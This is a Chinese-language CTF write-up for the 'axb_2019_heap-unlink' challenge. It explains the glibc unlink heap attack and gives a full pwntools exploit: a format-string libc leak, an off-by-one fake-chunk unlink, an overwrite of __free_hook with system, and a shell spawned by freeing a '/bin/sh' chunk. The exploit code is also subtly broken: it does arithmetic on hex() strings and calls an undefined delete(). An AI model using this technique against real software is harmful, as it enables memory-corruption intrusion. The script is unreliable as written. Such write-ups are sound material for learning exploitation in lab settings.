axb_2019_heap-unlink

1.最开始看源码,感觉还行,能看懂,但是一旦看其他人讲unlink,感觉完全对不上,分明就是瞎搞,之后调试才发现单独的unlink攻击并不是针对chunk的,而是针对具体题目的结构体的。并且要求程序可以修改掉chunk的size位,执行向上合并从而触发unlink。

2.unlink攻击流程如下:

(1)找到题目中的chunklist位置,并分清结构体中是size在前还是chunk在前。

(2)这里假设我们想要控制chunklist[0]中的chunk。申请chunk0,chunk1,chunk2。在chunk0中构造fakechunk,并设置:

1
2
3
4
#注释头

fakechunk->fd = chunklist_addr-0x18
fakechunk->bk = chunklist_addr-0x10

(3)通过堆溢出或者off-by-one将chunk1的pre_size设置成fakechunk_size,将chunk1的size设置成fakechunk_size+chunk1_size。

(4)free掉chunk1,这样就会触发向上合并,将fakechunk和chunk1合并。同时,由于合并过程中调用了unlink函数,那么chunklist[0].chunk就会指向chunlist_addr-0x18,对应的就是我们的chunk0指向chunklist_addr-0x18。

▲unlink源码:

1
2
3
4
5
6
7
8
#注释头

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK;
BK->fd = FD;

A.首先通过fakechunk,也就是p,找到前一个chunk和后一个chunk:

1
2
3
4
#注释头

FD = P->fd;
BK = P->bk;

这里的FD和BK分别为fakechunk的前一个chunk和后一个chunk,也就是chunklist_addr-0x18和chunklist_addr-0x10。

B.然后过检查:

1
2
3
#注释头

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV);

能过检查的原因就是因为FD->bk就相当于是[chunklist_addr-0x18]+[0x18],就相当于chunklist_addr,也就是chunklist[0].chunk。而该地址中保存的内容就是fakechunk_addr。

注意chunk0_addr和fakechunk_addr不是一样的,因为有chunk结构的原因,如下图,可以看到实际上chunklist[n].chunk保存的值是chunk数据部分的地址,在这里也就相当于是fakechunk_addr。所以也就能过检查。同理BK->fd相当于是[chunklist_addr-0x10]+[0x10],等于chunklist_addr,该地址中保存的值就是fakechunk_addr。

img

C.过完检查之后,就来到赋值部分

1
2
3
4
#注释头

FD->bk = BK;
BK->fd = FD;

那么现在FD->bk = BK相当于[chunklist_addr-0x18]+[0x18],也就是chunklist_addr中的值被赋值为chunklist_addr-0x10,之后BK->fd = FD,就是chunklist_addr中的值被赋值为chunklist_addr-0x18,所以总的来说,chunklist[0].chunk会指向chunklist_addr-0x18,也就是说我们的fakechunk指向chunklist_addr-0x18,这样就相当于可以通过修改fakechunk就可以修改chunklist这个bss段上的内容。而fakechunk又是chunk0的数据部分,完全在我们的掌控范围。

(5)现在修改chunk0数据就先当于修改chunklist这个bss段上的内容。

3.在这道题中,原本chunklist[0].chunk中保存的值是fakechunk_addr,我们可以修改chunklist[0].chunk中保存的值为free_hook地址,那么之后再修改chunk0数据部分就相当于修改free_hook中的内容了。那么现在就可以将free_hook保存的值修改为system的真实地址,这样在free时就相当于调用system函数,那么一旦free某个chunk,而该chunk的数据部分为binsh字符串,那么就相当于调用system(“/bin/sh”),从而getshell.

4.现在开始分析这道题目,get_input函数中存在off-by-one,banner()函数中存在格式化字符串漏洞:

get_input:

img

banner:

img

利用格式化字符漏洞泄露Libc从而得到其它所有地址。之后通过off-by-one进行unlink攻击,构造fakechunk到chunklist这个Bss段上,修改chunklist段上的chunklist[0].chunk,使其指向free_hook_addr。之后再通过修改chunk0从而修改free_hook为system真实地址,再申请某个数据部分为binsh字符串的chunk,释放掉就能getshell。

总exp如下:

(1)首先增删改查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('Enter the index you want to create (0-10):',str(index))
p.sendlineafter('Enter a size:',str(size))
p.sendlineafter('Enter the content:',content)

def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Enter an index:',str(index))

def edit(index,content):
p.sendlineafter('>> ','4')
p.sendlineafter('Enter an index:',str(index))
p.sendafter('Enter the content:',content)

(2)利用格式化字符漏洞泄露栈上的__libc_main和main地址:

1
2
3
4
5
6
7
8
9
#注释头

p.sendline('%11$p%15$p')
p.recvuntil('Hello,')
base = hex(int(p.recv(14),16)-0x116a - 28)
libcbase = hex(int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'])
chunklist = hex(base + 0x202060)
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']

(3)利用off-by-one向上合并chunk0和chunk1,执行unlink攻击:

1
2
3
4
5
6
7
8
9
10
#注释头

add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3

payload=p64(0)+p64(0x91)+p64(chunklist-0x18)+p64(chunklist-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
delete(1)

(4)修改chunklist[0].chunk指向free_hook:

1
2
3
4
#注释头

edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#由于unlink攻击赋值之后,chunk0数据部分指向了chunklist_addr-0x18位置,所以需要填充p64(0)*3

(5)修改free_hook为system:

1
2
3
#注释头

edit(0,p64(system))

(6)利用free触发system,getshell

1
2
3
4
#注释头

free(3)
p.interactive()